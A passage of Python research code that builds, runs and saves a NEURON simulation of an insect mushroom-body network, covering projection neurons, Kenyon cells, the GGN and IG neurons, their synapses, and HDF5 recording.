'projects', 'ggn', 'mb',\n 'cell_templates', 'kc_1_comp.hoc')\nkc_name = 'KC'\nggn_name = 'GGN_20170309_sc'\n\n# Load the cell templates\nif not hasattr(h, ggn_name):\n h.xopen(ggn_file)\nif not hasattr(h, kc_name):\n h.xopen(kc_file)\n\nkc_st_path = '/data/event/kc/kc_spiketime'\npn_st_path = '/data/event/pn/pn_spiketime'\npn_kc_syn_path = '/data/static/pn_kc_synapse/pn_kc_synapse'\nggn_kc_syn_path = '/data/static/ggn_kc_synapse/ggn_kc_synapse'\nkc_ggn_alphaL_syn_path = '/data/static/kc_ggn_alphaL_synapse/kc_ggn_alphaL_synapse'\nkc_model_path = '/model/modeltree/olf/kc'\nkc_ig_syn_path = '/data/static/kc_ig_synapse/kc_ig_synapse'\n\nmodel_dict = {} # global to keep refs of created objects\nkc_name_sec_dict = {} # global to keep refs kc sections by name\n\n\ndef dither_spiketrain(st_list, cell_shift=0, dither=5.0):\n \"\"\"Dither the spike trains with uniform random time between 0 and\n `dither` (so each spike is shifted randomly in either direction by\n 0 to dither time). In addition the spike trains are assigned to a\n the cells in cell_list shifted by cell_shift.\n\n st_list: list of spike trains for.\n\n Return modified list of spike trains, dithered and rotated.\n\n \"\"\"\n if (cell_shift == 0) and (dither == 0):\n return st_list\n altered = []\n for ii, st in enumerate(st_list):\n if dither > 0:\n newst = np.array(st) + (np.random.sample(len(st)) - 0.5) * 2 * dither\n if np.any(newst < 0):\n cfg.logger.info('Removing negative spike time from PN {}'.format(ii))\n newst = np.sort(newst[newst > 0]) # This is important for NetCon\n else:\n newst = st\n altered.append(newst)\n return altered[cell_shift:] + altered[:cell_shift]\n\n\ndef create_ggn():\n \"\"\"Create a singleton GGN\"\"\"\n global model_dict\n cfg.logger.info('Started creating GGN')\n for obj in dir():\n ## Weird, but NEURON hoc.HocObject is not a type object though type(h)\n ## prints hoc.HocObject\n if type(obj) == type(h): \n if obj.hname().startswith(ggn_name):\n return obj\n cfg.logger.info('Finished creating GGN')\n ggn = eval('h.{}()'.format(ggn_name))\n model_dict['ggn'] = ggn\n return ggn\n\n\ndef load_pn_spikes(fd, pn_st_path=pn_st_path):\n \"\"\"Read PN spike times from HDF5 file descriptor fd.\n\n Returns a list of tuples mapping PN names to spike trains sorted\n in order of PN index (assuming PN names are of PN_{index} form).\n\n \"\"\"\n pn_st = {}\n for pn, st in fd[pn_st_path].items():\n pn_st[pn] = st.value\n return sorted(pn_st.items(), key=lambda x: int(x[0].split('_')[-1])) \n\n\ndef create_pn_output(spike_trains):\n \"\"\"Create stimvec and vecstim for proxy of PN spikes\"\"\"\n global model_dict\n cfg.logger.info('Started creating PN output vecstims and stimvecs')\n stimvecs = []\n vecstims = []\n for st in spike_trains:\n stimvecs.append(h.Vector(st))\n vecstims.append(h.VecStim())\n vecstims[-1].play(stimvecs[-1])\n model_dict['vecstim'] = vecstims\n model_dict['stimvec'] = stimvecs\n cfg.logger.info('Finished creating PN output vecstims and stimvecs')\n return stimvecs, vecstims\n\n\ndef create_kcs(fd, cellname='KC', config={}):\n \"\"\"Create KCs from data in fd. Returns a list of hoc KC objects.\"\"\"\n global model_dict\n cfg.logger.info('Started KC creation')\n try:\n nkc = len(fd[kc_model_path])\n except KeyError: # some generated datafiles do not store full model info\n nkc = config['number']\n \n cellclass = eval('h.{}'.format(cellname))\n cfg.logger.info('Finished KC creation')\n kcs = [cellclass() for ii in range(nkc)]\n model_dict['kc'] = kcs\n return kcs\n\n\ndef create_pn_kc_conn(fd, pn_vecstim_dict, kc_name_sec_dict,\n path=pn_kc_syn_path, config=None):\n \"\"\"Create PN->KC connection from dataset at specified path\n\n pn_vecstim_list should be a dict from pn name to corresponding\n vecstim\n\n kc_name_sec_dict should be a dict from kc soma section names to\n the sections themselves\n\n returns a dict containing kc names mapped to their synapses and a\n list of all netcons from PNs to KCs.\n\n \"\"\"\n global model_dict\n cfg.logger.info('Started PN->KC connections')\n if config is None:\n config = {}\n syn_dict = {}\n netcons = []\n ncdict = {}\n syn_data = fd[path]\n # This is to take care of discrepancy between NSDF saving synapses\n # as dataset of dim [nx1] vs my kc removal code saving them as dim\n # [n]\n if len(syn_data.shape) == 2:\n syn_data = syn_data[:, 0]\n for ii, row in enumerate(syn_data):\n if row['post'] not in syn_dict:\n target = kc_name_sec_dict[row['post']]\n syn = h.Exp2Syn(target(row['postpos']))\n syn.e = row['e']\n syn.tau1 = row['tau1']\n syn.tau2 = row['tau2']\n syn_dict[row['post']] = syn\n else:\n syn = syn_dict[row['post']]\n vecstim = pn_vecstim_dict[row['pre']]\n if 'delay' in row.dtype.names:\n delay = row['delay']\n else:\n delay = config.get('delay', '0.0ms')\n delay = cfg.Q_(delay).to('ms').m\n thresh = -20.0 \n nc = h.NetCon(vecstim, syn, thresh, delay, row['gmax'])\n netcons.append((row['pre'], row['post'], nc))\n assert (vecstim, syn) not in ncdict\n ncdict[(vecstim, syn)] = nc\n # print(ii, nc, nc.pre(), nc.syn())\n # sys.stdout.flush()\n model_dict['pn_kc_conn'] = (netcons, syn_dict)\n cfg.logger.info('Finished PN->KC connections')\n return netcons, syn_dict\n\n\ndef create_ggn_kc_conn(fd, kc_name_sec_dict, ggn_name_sec_dict,\n path=ggn_kc_syn_path, config=None):\n \"\"\"Create graded synapses from GGN sections to KC based on synaptic\n connection data in fd at path `ggn_kc_syn_path`.\"\"\"\n global model_dict\n cfg.logger.info('Started GGN->KC connection')\n model_dict['ggn_kc_conn'] = []\n syn_dict = {}\n syn_data = fd[path]\n if len(syn_data.shape) == 2:\n syn_data = syn_data[:, 0]\n for row in syn_data:\n kc = kc_name_sec_dict[row['post']]\n syn = h.GradedSyn(kc(row['postpos']))\n syn.vmid = row['vmid']\n syn.vslope = row['vslope']\n syn.e = row['e']\n syn.gbar = row['gbar']\n syn.tau = row['tau']\n h.setpointer(ggn_name_sec_dict[row['pre']](row['prepos'])._ref_v,\n 'vpre', syn)\n model_dict['ggn_kc_conn'].append({'pre': row['pre'],\n 'prepos': row['prepos'],\n 'post': row['post'],\n 'postpos': row['postpos'], \n 'vmid': syn.vmid,\n 'vslope': syn.vslope,\n 'e': syn.e,\n 'gbar': syn.gbar,\n 'tau': syn.tau})\n syn_dict[row['post']] = syn\n \n model_dict['ggn_kc_syn'] = syn_dict\n cfg.logger.info('Finished GGN->KC connection')\n return syn_dict\n\n\ndef create_kc_ggn_conn(fd, kc_name_sec_dict, ggn_name_sec_dict,\n path=kc_ggn_alphaL_syn_path, config=None):\n \"\"\"Created excitatory synapses from KCs to GGN segments\"\"\"\n global model_dict\n cfg.logger.info('Started KC->GGN connection')\n if config is None:\n config = {}\n model_dict['kc_ggn_syn'] = []\n model_dict['kc_ggn_nc'] = []\n model_dict['kc_ggn_conn'] = []\n syn_dict = {}\n nc_dict = {}\n syn_data = fd[path]\n if len(syn_data.shape) == 2:\n syn_data = syn_data[:, 0]\n # for row_arr in fd[kc_ggn_alphaL_syn_path]:\n # row = row_arr[0]\n for row in syn_data:\n postsec = ggn_name_sec_dict[row['post']]\n syn = h.Exp2Syn(postsec(row['postpos']))\n syn.e = row['e']\n syn.tau1 = row['tau1']\n syn.tau2 = row['tau2']\n presec = kc_name_sec_dict[row['pre']]\n if 'delay' in row.dtype.names:\n delay = row['delay']\n else:\n delay = config.get('delay', '1.0ms')\n delay = cfg.Q_(delay).to('ms').m\n nc = h.NetCon(presec(row['prepos'])._ref_v, syn, -20.0,\n delay, row['gmax'], sec=presec)\n syn_dict[row['pre']] = syn\n nc_dict[row['pre']] = nc\n model_dict['kc_ggn_syn'].append(syn)\n model_dict['kc_ggn_nc'].append(nc)\n model_dict['kc_ggn_conn'].append({'pre': row['pre'], 'prepos':\n row['prepos'], 'post':\n row['post'], 'postpos':\n row['postpos'], 'nc': nc,\n 'syn': syn})\n cfg.logger.info('Finished KC->GGN connection')\n return syn_dict, nc_dict\n\n\ndef setup_ig(fd, ggn_name_sec_dict, config=None):\n \"\"\"Skipping model structure and just create IG from config\"\"\"\n global model_dict\n if config is None:\n config = {}\n if 'ig' not in config:\n return \n ig = IGIzhi(inject=config['ig']['inject'],\n gbarGABA=cfg.Q_(config['ggn_ig_syn']['gmax']).to('uS').m)\n ig.vmidGraded = cfg.Q_(config['ggn_ig_syn']['vmid']).to('mV').m\n ig.vslopeGraded = cfg.Q_(config['ggn_ig_syn']['vslope']).to('mV').m\n ggn = model_dict['ggn']\n # presec = ggn_name_sec_dict[config['ggn_ig_syn']['source']]\n presec = eval('ggn.{}'.format(config['ggn_ig_syn']['source']))\n h.setpointer(presec(0.5)._ref_v, 'vpreGraded', ig.izhi)\n cfg.logger.info('Created IG with injection {}'.format(config['ig']['inject']))\n model_dict['ig'] = ig\n # post_sec = ggn_name_sec_dict[config['ig_ggn_syn']['target']]\n post_sec = eval('ggn.{}'.format(config['ig_ggn_syn']['target']))\n make_ig_ggn_syn(ig, config['ig_ggn_syn'], post_sec)\n if kc_ig_syn_path in fd:\n connect_kcs_to_ig(fd, config['kc_ig_syn'])\n else:\n connect_kcs_to_ig(model_dict['kc'], config['kc_ig_syn'])\n \n\ndef make_ig_ggn_syn(ig, params, sec):\n # This is ugly but only once\n global model_dict\n ig_syn = h.Exp2Syn(sec(0.5))\n ig_syn.tau1 = cfg.Q_(params['tau1']).to('ms').m\n ig_syn.tau2 = cfg.Q_(params['tau2']).to('ms').m\n ig_syn.e = cfg.Q_(params['e']).to('mV').m\n ig_nc = h.NetCon(ig.izhi._ref_V, ig_syn,\n cfg.Q_(params['threshold']).to('mV').m,\n cfg.Q_(params['delay']).to('ms').m,\n cfg.Q_(params['gmax']).to('uS').m,\n sec=ig.sec)\n model_dict['ig_ggn_syn'] = ig_syn\n model_dict['ig_ggn_nc'] = ig_nc\n cfg.logger.info('Completed creation of synapse from IG to GGN')\n cfg.logger.info('tau1: {}, tau2: {}, e: {}, thresh: {}, delay: {}, gmax: {}'.format(ig_syn.tau1,\n ig_syn.tau2,\n ig_syn.e,\n ig_nc.threshold,\n ig_nc.delay,\n ig_nc.weight[0]))\n \n\ndef connect_kcs_to_ig(kcs=None, params=None):\n \"\"\"Connect single compartmental KCs to IG\"\"\"\n global model_dict\n if isinstance(kcs, h5.File): \n fd = kcs\n kc_name_sec_dict = {kc.soma.name(): kc.soma for kc in model_dict['kc']}\n threshold = -20.0\n if params is not None:\n threshold = cfg.Q_(params['threshold']).to('mV').m\n units = fd[kc_ig_syn_path].attrs['unit'][-1]\n syn_data = fd[kc_ig_syn_path]\n if len(syn_data.shape) == 2:\n syn_data = syn_data[:, 0]\n \n # for row_arr in fd[kc_ig_syn_path].value:\n # row = row_arr[0]\n for row in syn_data:\n cfg.logger.debug('{}'.format(row))\n presec = kc_name_sec_dict[row['pre']]\n # TODO not using the unit attribute from dataset - assuming NEURON compatible units\n # ignoring 'prepos' field as KCs are single compartmental\n # - important data are weight and delay\n model_dict['ig'].connect_ampa_sec(presec, 0.5, threshold=threshold,\n delay=row['delay'],\n weight=row['gmax'])\n else: # no explicit synapse info, use constant values from config\n weight = float(params['weight'])\n if weight <= 0:\n cfg.logger.info('No connection from KCs to IG')\n return\n threshold = cfg.Q_(params['threshold']).to('mV').m\n delay = cfg.Q_(params['delay']).to('ms').m\n for kc in kcs:\n model_dict['ig'].connect_ampa_sec(kc.soma, 0.5, threshold=threshold,\n delay=delay, weight=weight)\n cfg.logger.info('Completed creation of synapse from KCs to IG')\n \n \ndef setup_recording(kcs, ggn, n_kc_vm=100, n_ggn_vm=100, t=None):\n \"\"\"Create vectors for recording data from KCs and GGN sections\"\"\"\n global model_dict\n ret = {}\n kc_st = {}\n for kc in kcs:\n nc, stvec = nu.record_spiketimes(kc.soma)\n kc_st[kc.soma.name()] = (nc, stvec)\n ret['kc_spikes'] = kc_st\n if t is None:\n tvec = h.Vector()\n tvec.record(h._ref_t)\n elif isinstance(t, float):\n tvec = h.Vector()\n tvec.record(h._ref_t, t)\n elif isinstance(t, np.ndarray): # Assume h.Vector\n tvec = h.Vector(t)\n else:\n tvec = t\n ret['time'] = tvec\n if n_kc_vm > kcs:\n n_kc_vm = len(kcs)\n vm_kcs = np.random.choice(kcs, size=n_kc_vm, replace=False)\n if 'test_kc' in model_dict:\n vm_kcs = np.append(vm_kcs, [model_dict['test_kc']])\n ret['kc_vm'] = {kc.soma.name(): nu.setup_recording(kc.soma, 0.5, 'v', t) \\\n for kc in vm_kcs} \n g = nu.nrngraph(ggn)\n ggn_out_nodes = nu.select_good_nodes_by_sid(g, [ng.name_sid['LCA'], ng.name_sid['MCA']],\n [n_ggn_vm, n_ggn_vm])\n ggn_out = [g.node[n]['orig'] for n in ggn_out_nodes]\n ret['ggn_output_vm'] = {sec.name(): nu.setup_recording(sec, 0.5, 'v', t) \\\n for sec in ggn_out}\n ggn_alphaL_input_nodes = nu.select_good_nodes_by_sid(g, [ng.name_sid['alphaL']], [n_ggn_vm])\n ggn_alphaL_input = [g.node[n]['orig'] for n in ggn_alphaL_input_nodes]\n ret['ggn_alphaL_input_vm'] = {sec.name(): nu.setup_recording(sec, 0.5, 'v', t) \\\n for sec in ggn_alphaL_input}\n ggn_basal_nodes = nu.select_good_nodes_by_sid(g, [ng.name_sid['dend_b']], [n_ggn_vm])\n ggn_basal = [g.node[n]['orig'] for n in ggn_basal_nodes]\n ret['ggn_basal_vm'] = {sec.name(): nu.setup_recording(sec, 0.5, 'v', t) \\\n for sec in ggn_basal}\n if 'ig' in model_dict:\n ret['ig_vm'] = h.Vector()\n ret['ig_vm'].record(model_dict['ig'].izhi._ref_V, t)\n model_dict.update(ret)\n return ret\n\n\ndef save_synapses(fd, model):\n start = timer()\n ###############################################\n # PN->KC synapses\n ###############################################\n conn_dtype = np.dtype([('pre', nsdf.VLENSTR),\n ('post', nsdf.VLENSTR),\n ('prepos', np.float64),\n ('postpos', np.float64),\n ('gmax', np.float64),\n ('e', np.float64),\n ('tau1', np.float64),\n ('tau2', np.float64),\n ('delay', np.float64)])\n pn_kc_netcons, pn_kc_syn_dict = model['pn_kc_conn']\n pn_kc_syn_data = np.empty((len(pn_kc_netcons),),\n dtype=conn_dtype)\n for ii, (pre, post, nc) in enumerate(pn_kc_netcons):\n syn = nc.syn()\n pn_kc_syn_data['pre'][ii] = pre\n pn_kc_syn_data['post'][ii] = post\n pn_kc_syn_data['prepos'][ii] = 0\n pn_kc_syn_data['postpos'][ii] = 0.5 # hard coded for 1-compartment model\n pn_kc_syn_data['gmax'][ii] = nc.weight[0]\n pn_kc_syn_data['e'][ii] = syn.e\n pn_kc_syn_data['tau1'][ii] = syn.tau1\n pn_kc_syn_data['tau2'][ii] = syn.tau2\n pn_kc_syn_data['delay'][ii] = nc.delay\n conn_unit = ['', '', '', '', 'uS', 'mV', 'ms', 'ms', 'ms']\n pn_kc_syn_grp = fd.create_group('/data/static/pn_kc_synapse')\n pn_kc_syn_ds = fd.create_dataset('/data/static/pn_kc_synapse/pn_kc_synapse', data=pn_kc_syn_data)\n pn_kc_syn_ds.attrs['unit'] = conn_unit\n ###############################################\n # Create synapse dataset for KC->GGN\n ###############################################\n ## alphaL - not handling calyx in this case\n kc_ggn_syn_data = np.empty((len(model['kc_ggn_conn']),), dtype=conn_dtype)\n for ii, conn in enumerate(model['kc_ggn_conn']):\n kc_ggn_syn_data['pre'][ii] = conn['pre']\n kc_ggn_syn_data['post'][ii] = conn['post']\n kc_ggn_syn_data['prepos'][ii] = conn['prepos']\n kc_ggn_syn_data['postpos'][ii] = conn['postpos']\n kc_ggn_syn_data['gmax'][ii] = conn['nc'].weight[0]\n kc_ggn_syn_data['e'][ii] = conn['syn'].e\n kc_ggn_syn_data['tau1'][ii] = conn['syn'].tau1\n kc_ggn_syn_data['tau2'][ii] = conn['syn'].tau2\n kc_ggn_syn_data['delay'][ii] = conn['nc'].delay\n kc_ggn_syn_grp = fd.create_group('/data/static/kc_ggn_alphaL_synapse')\n kc_ggn_syn_ds = kc_ggn_syn_grp.create_dataset('kc_ggn_alphaL_synapse',\n data=kc_ggn_syn_data)\n kc_ggn_syn_ds.attrs['unit'] = conn_unit\n ###############################################\n # Create synapse dataset for KC->IG - not handling\n ###############################################\n # if 'ig' in model:\n # conn_unit = ['', '', '', '', '', 'ms']\n # conn_dtype = np.dtype([('pre', nsdf.VLENSTR),\n # ('post', nsdf.VLENSTR),\n # ('prepos', np.float64),\n # ('postpos', np.float64),\n # ('gmax', np.float64),\n # ('delay', np.float64)])\n # kc_ig_syn_data = np.empty((len(\n # for row in model.kc_ig_syn_info:\n # sources.append('{}__{}'.format(row['pre'], row['post']))\n # kc_ig_syn_data.put_data(sources[-1],\n # (row['pre'], row['post'], row['prepos'], row['postpos'],\n # row['gmax'], row['delay']))\n # kc_ig_syn_ds = writer.add_static_ds('kc_ig_synapse',\n # sources)\n # writer.add_static_data(kc_ig_syn_ds, kc_ig_syn_data)\n\n ###############################################\n # Save GGN->KC synapses\n ###############################################\n conn_dtype = np.dtype([('pre', nsdf.VLENSTR),\n ('post', nsdf.VLENSTR),\n ('prepos', np.float64),\n ('postpos', np.float64),\n ('vmid', np.float64),\n ('vslope', np.float64),\n ('e', np.float64),\n ('gbar', np.float64),\n ('tau', np.float64)])\n conn_unit = ['', '', '', '', 'mV', 'mV', 'mV', 'uS', 'ms']\n ggn_kc_conn_data = np.empty((len(model['ggn_kc_conn']),), dtype=conn_dtype)\n for ii, row in enumerate(model['ggn_kc_conn']):\n ggn_kc_conn_data['pre'][ii] = row['pre']\n ggn_kc_conn_data['post'][ii] = row['post']\n ggn_kc_conn_data['prepos'][ii] = row['prepos']\n ggn_kc_conn_data['postpos'][ii] = row['postpos']\n ggn_kc_conn_data['vmid'][ii] = row['vmid']\n ggn_kc_conn_data['vslope'][ii] = row['vslope']\n ggn_kc_conn_data['e'][ii] = row['e']\n ggn_kc_conn_data['gbar'][ii] = row['gbar']\n ggn_kc_conn_data['tau'][ii] = row['tau']\n ggn_kc_conn_grp = fd.create_group('/data/static/ggn_kc_synapse')\n ggn_kc_conn_ds = ggn_kc_conn_grp.create_dataset('ggn_kc_synapse',\n data=ggn_kc_conn_data)\n ggn_kc_conn_ds.attrs['unit'] = conn_unit\n end = timer()\n cfg.logger.info('Saved synapse data in {} s'.format(end - start))\n \n\n# def save(infile, outfile, kc_st, pn_st, kc_vm, ggn_output_vm, ggn_alphaL_input_vm, ggn_basal_vm, ig_vm, time):\ndef save(infile, outfile, data, model_dict, savesyn=False, config=None):\n \"\"\"Save the model info and data with infile as reference for synapses\n and original PN spike trains.\n\n infile: input template file name\n outfile: output data filename\n kc_st: dict kc secname - spike trains\n pn_st: dict pn secname - spike trains\n kc_vm: dict kc secname to vm vec\n ggn_output_vm: dict ggn secname - Vm vec\n ggn_alphaL_input_vm: dict ggn secname - Vm\n ggn_basal_vm: dict ggn secname - Vm\n config: yaml document representing configuration information in template file.\n \"\"\"\n cfg.logger.info('Start saving data in {}'.format(outfile))\n kc_vm = data['kc_vm']\n ggn_alphaL_input_vm = data['ggn_alphaL_input_vm']\n ggn_basal_vm = data['ggn_basal_vm']\n time = data['time']\n with h5.File(outfile, 'w') as fd:\n fd.attrs['original'] = infile\n fd.attrs['command'] = ' '.join(sys.argv)\n fd.attrs['dt'] = h.dt # integration time step\n if config is not None:\n fd.attrs['config'] = yaml.dump(config)\n else:\n cfg.logger.info('No config passed')\n # Save synapse info only if requested\n if savesyn:\n save_synapses(fd, model_dict)\n # Save dynamic data\n time_grp = fd.create_group('/map/time')\n time_ds = time_grp.create_dataset('time', data=time)\n kc_st_grp = fd.create_group(kc_st_path)\n for kc, (nc, st) in data['kc_spikes'].items():\n ii = kc.partition('[')[-1].partition(']')[0]\n kc_ds = kc_st_grp.create_dataset(ii, data=np.array(st))\n kc_ds.attrs['source'] = kc\n pn_st_grp = fd.create_group(pn_st_path)\n for pn, st in data['pn_spikes'].items():\n pn_st_grp.create_dataset(pn, data=st)\n alphaL_grp = fd.create_group('/data/uniform/ggn_alphaL_input')\n alphaL_secnames = list(ggn_alphaL_input_vm.keys())\n alphaL_data = list(ggn_alphaL_input_vm.values())\n alphaL_ds = alphaL_grp.create_dataset('GGN_alphaL_input_Vm', data=np.array(alphaL_data),\n compression='gzip')\n alphaL_src = fd.create_dataset('/map/uniform/ggn_alphaL_input', data=alphaL_secnames,\n compression='gzip')\n alphaL_ds.attrs['dt'] = time[1] - time[0] \n alphaL_ds.attrs['tunit'] = 'ms'\n alphaL_ds.attrs['unit'] = 'mV'\n alphaL_ds.attrs['field'] = 'v'\n alphaL_ds.attrs['tstart'] = time[0]\n alphaL_ds.dims[0].label = 'source'\n alphaL_ds.dims.create_scale(alphaL_src, 'source')\n alphaL_ds.dims[0].attach_scale(alphaL_src)\n alphaL_ds.dims[1].label = 'time'\n alphaL_ds.dims.create_scale(time_ds, 'time')\n alphaL_ds.dims[1].attach_scale(time_ds)\n basal_grp = fd.create_group('/data/uniform/ggn_basal')\n basal_secnames = list(ggn_basal_vm.keys())\n basal_data = list(ggn_basal_vm.values())\n basal_ds = basal_grp.create_dataset('GGN_basal_Vm', data=np.array(basal_data),\n compression='gzip')\n basal_src = fd.create_dataset('/map/uniform/ggn_basal', data=basal_secnames,\n compression='gzip')\n basal_ds.attrs['dt'] = time[1] - time[0] \n basal_ds.attrs['tunit'] = 'ms'\n basal_ds.attrs['unit'] = 'mV'\n basal_ds.attrs['field'] = 'v'\n basal_ds.attrs['tstart'] = time[0]\n basal_ds.dims[0].label = 'source'\n basal_ds.dims.create_scale(basal_src, 'source')\n basal_ds.dims[0].attach_scale(basal_src)\n basal_ds.dims[1].label = 'time'\n basal_ds.dims.create_scale(time_ds, 'time')\n basal_ds.dims[1].attach_scale(time_ds)\n output_grp = fd.create_group('/data/uniform/ggn_output')\n output_secnames = list(data['ggn_output_vm'].keys())\n output_data = list(data['ggn_output_vm'].values())\n output_ds = output_grp.create_dataset('GGN_output_Vm', data=np.array(output_data),\n compression='gzip')\n output_src = fd.create_dataset('/map/uniform/ggn_output', data=output_secnames,\n compression='gzip')\n output_ds.attrs['dt'] = time[1] - time[0] \n output_ds.attrs['tunit'] = 'ms'\n output_ds.attrs['unit'] = 'mV'\n output_ds.attrs['field'] = 'v'\n output_ds.attrs['tstart'] = time[0]\n output_ds.dims[0].label = 'source'\n output_ds.dims.create_scale(output_src, 'source')\n output_ds.dims[0].attach_scale(output_src)\n output_ds.dims[1].label = 'time'\n output_ds.dims.create_scale(time_ds, 'time')\n output_ds.dims[1].attach_scale(time_ds)\n kc_vm_grp = fd.create_group('/data/uniform/kc')\n kc_vm_ds = kc_vm_grp.create_dataset('KC_Vm', data=np.array(list(kc_vm.values())))\n kc_vm_src = fd.create_dataset('/map/unifrom/kc', data=list(kc_vm.keys()),\n compression='gzip')\n kc_vm_ds.attrs['dt'] = time[1] - time[0] \n kc_vm_ds.attrs['tunit'] = 'ms'\n kc_vm_ds.attrs['unit'] = 'mV'\n kc_vm_ds.attrs['field'] = 'v'\n kc_vm_ds.attrs['tstart'] = time[0]\n kc_vm_ds.dims[0].label = 'source'\n kc_vm_ds.dims.create_scale(kc_vm_src, 'source')\n kc_vm_ds.dims[0].attach_scale(kc_vm_src)\n kc_vm_ds.dims[1].label = 'time'\n kc_vm_ds.dims.create_scale(time_ds, 'time')\n kc_vm_ds.dims[1].attach_scale(time_ds)\n if data['ig_vm'] is not None:\n ig_grp = fd.create_group('/data/uniform/ig')\n ig_ds = ig_grp.create_dataset('IG_Vm', data=np.array([data['ig_vm']]),\n compression='gzip')\n ig_src = fd.create_dataset('/map/uniform/ig', data=['IG'],\n compression='gzip')\n ig_ds.attrs['dt'] = time[1] - time[0] \n ig_ds.attrs['tunit'] = 'ms'\n ig_ds.attrs['unit'] = 'mV'\n ig_ds.attrs['field'] = 'v'\n ig_ds.attrs['tstart'] = time[0]\n ig_ds.dims[0].label = 'source'\n ig_ds.dims.create_scale(ig_src, 'source')\n ig_ds.dims[0].attach_scale(ig_src)\n ig_ds.dims[1].label = 'time'\n ig_ds.dims.create_scale(time_ds, 'time')\n ig_ds.dims[1].attach_scale(time_ds) \n cfg.logger.info('Finished saving data')\n\n\ndef test(infile='/data/rays3/ggn/olfactory_network/mb_net_UTC2018_09_19__00_49_12-PID4273-JID9673664.h5'):\n with h5.File(infile, 'r') as fd:\n pn_spikes = load_pn_spikes(fd)\n pns, spikes = zip(*pn_spikes)\n spikes[0] = np.array([1.0, 10.0, 20.0])\n stimvecs, vecstims = create_pn_output(spikes)\n kcs = create_kcs(fd)\n kc_name_sec_dict = {kc.soma.name(): kc.soma for kc in kcs}\n ggn = create_ggn()\n ggn_name_sec_dict = {sec.name(): sec for sec in ggn.all}\n nc_pn_kc, syn_pn_kc = create_pn_kc_conn(fd, {pn: vecstim for pn, vecstim in zip(pns, vecstims)},\n kc_name_sec_dict)\n for nc in nc_pn_kc:\n assert nc.valid()\n \n syn_ggn_kc = create_ggn_kc_conn(fd, kc_name_sec_dict, ggn_name_sec_dict)\n syn_kc_ggn, nc_kc_ggn = create_kc_ggn_conn(fd, kc_name_sec_dict, ggn_name_sec_dict, path=kc_ggn_alphaL_syn_path)\n # kc_st = {kc: np.random.random_sample(5) for kc in np.random.choice(kcs, size=5, replace=False)}\n # pn_st = {pn: np.random.random_sample(5) for pn in np.random.choice(pns, size=5, replace=False)}\n # ggn_vm = {sec: np.arange(10) for sec in np.random.choice(list(ggn_name_sec_dict.keys()),\n # size=5, replace=False)}\n # kc_vm = {kc: np.random.random_sample(5) for kc in np.random.choice(kcs, size=5, replace=False)}\n data = setup_recording(kcs, ggn, n_kc_vm=10, n_ggn_vm=10, t=0.25)\n h.tstop = 100\n h.init()\n h.run()\n kc_st = {kc: st for kc, (nc, st) in data['kc_spikes'].items()}\n save(infile, 'test.h5', kc_st, pn_spikes, data['kc_vm'], data['ggn_output_vm'],\n data['ggn_alphaL_input_vm'], data['ggn_basal_vm'], None, data['time'])\n cfg.logger.info('finished')\n\n\ndef run_model(args):\n \"\"\"setup and run a model with templates and other parameters specified\n in args (parsed arguments). List of arguments:\n\n template_filename: HDF5 file containing the network template and\n PN spike trains. These data should be at paths in constants\n specified at the top of this file.\n\n output_directory: directory to dump simulated data into.\n\n pn_shift: shift the assignment of spike trains to PNs by this\n amount, i.e., if pn_shift is 2, then the spike train of pn_0 is\n assigned to pn_2, and pn_{i+2} gets the spike train of pn_{i},\n with wrapping around the edge.\n\n pn_dither: The maximum magnitude of time shift when dithering the\n PN spike times.\n\n n_kc_vm: number of KCs to record Vm from\n\n n_ggn_vm: number of GGN sections to record Vm from for each of\n basal, calyceal and alpha lobe regions.\n\n recstep: number of integration steps between each recording point.\n\n simtime: total simulation time\n\n \"\"\"\n global model_dict\n output_filename = os.path.join(args.output_directory,\n 'fixed_net_UTC{}-PID{}-JID{}.h5'.format(\n cfg.timestamp.strftime('%Y_%m_%d__%H_%M_%S'),\n cfg.mypid, cfg.myjobid))\n ggn = create_ggn()\n ggn_name_sec_dict = {sec.name(): sec for sec in ggn.all}\n with h5.File(args.template_filename, 'r') as template_fd:\n config = yaml.load(template_fd.attrs['config'].decode())\n pn_spikes = load_pn_spikes(template_fd)\n pns, spike_trains = zip(*pn_spikes)\n spike_trains = dither_spiketrain(spike_trains, cell_shift=args.pn_shift,\n dither=args.pn_dither)\n pn_spike_vecs, vecstims = create_pn_output(spike_trains)\n kcs = create_kcs(template_fd, config=config['kc'])\n if args.test_kc >= 0:\n delay = cfg.Q_(config['stimulus']['onset'])\n if 'delay' in config['pn_kc_syn']:\n delay += cfg.Q_(config['pn_kc_syn']['delay'])\n duration = cfg.Q_(config['stimulus']['duration'])\n amplitude = cfg.Q_(args.kc_current)\n iclamp = ephys.setup_current_clamp(kcs[args.test_kc].soma,\n delay=delay, duration=duration, amplitude=amplitude)\n # test_kc_vvec = ephys.setup_sec_rec(kcs[args.test_kc].soma, 'v')[0] # this is added in setup recording\n model_dict['kc_iclamp'] = iclamp\n model_dict['test_kc'] = kcs[args.test_kc]\n kc_name_sec_dict = {kc.soma.name(): kc.soma for kc in kcs}\n nc_pn_kc, syn_pn_kc = create_pn_kc_conn(template_fd,\n dict(zip(pns, vecstims)), kc_name_sec_dict,\n config=config['pn_kc_syn'])\n syn_ggn_kc = create_ggn_kc_conn(template_fd, kc_name_sec_dict,\n ggn_name_sec_dict, config=config['ggn_kc_syn'])\n syn_kc_ggn, nc_kc_ggn = create_kc_ggn_conn(template_fd,\n kc_name_sec_dict,\n ggn_name_sec_dict,\n config=config['kc_ggn_alphaL_syn'])\n setup_ig(template_fd, ggn_name_sec_dict, config=config)\n data = setup_recording(kcs, ggn, n_kc_vm=args.n_kc_vm,\n n_ggn_vm=args.n_ggn_vm,\n t=h.dt * args.recstep)\n h.tstop = args.simtime\n start = datetime.utcnow()\n h.init()\n for v in pn_spike_vecs:\n if np.any(np.array(v.x) <= 0):\n print('negative pn spike time', v)\n cfg.logger.info('Finished init. Starting simulation of {} ms'.format(\n h.tstop))\n if h.tstop > 0:\n nu.block_run(logger=cfg.logger)\n else:\n cfg.logger.info('Dry run. Skipping simulation')\n end = datetime.utcnow()\n delta = end - start\n data['tstart'] = start\n data['tend'] = end\n data['pn_spikes'] = dict(zip(pns, spike_trains))\n cfg.logger.info('Finished running simulation in {} s'.format(\n delta.days * 86400 +\n delta.seconds +\n delta.microseconds * 1e-6))\n cfg.logger.info('Starting data save in {}'.format(output_filename))\n ig_vm = model_dict.get('ig_vm', None)\n data['ig_vm'] = ig_vm\n save(args.template_filename, output_filename, data, model_dict, args.savesyn, config)\n cfg.logger.info('Finished')\n\n\ndef make_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('-f', '--template_filename', type=str,\n help='template filename for pn spike trains and network config')\n 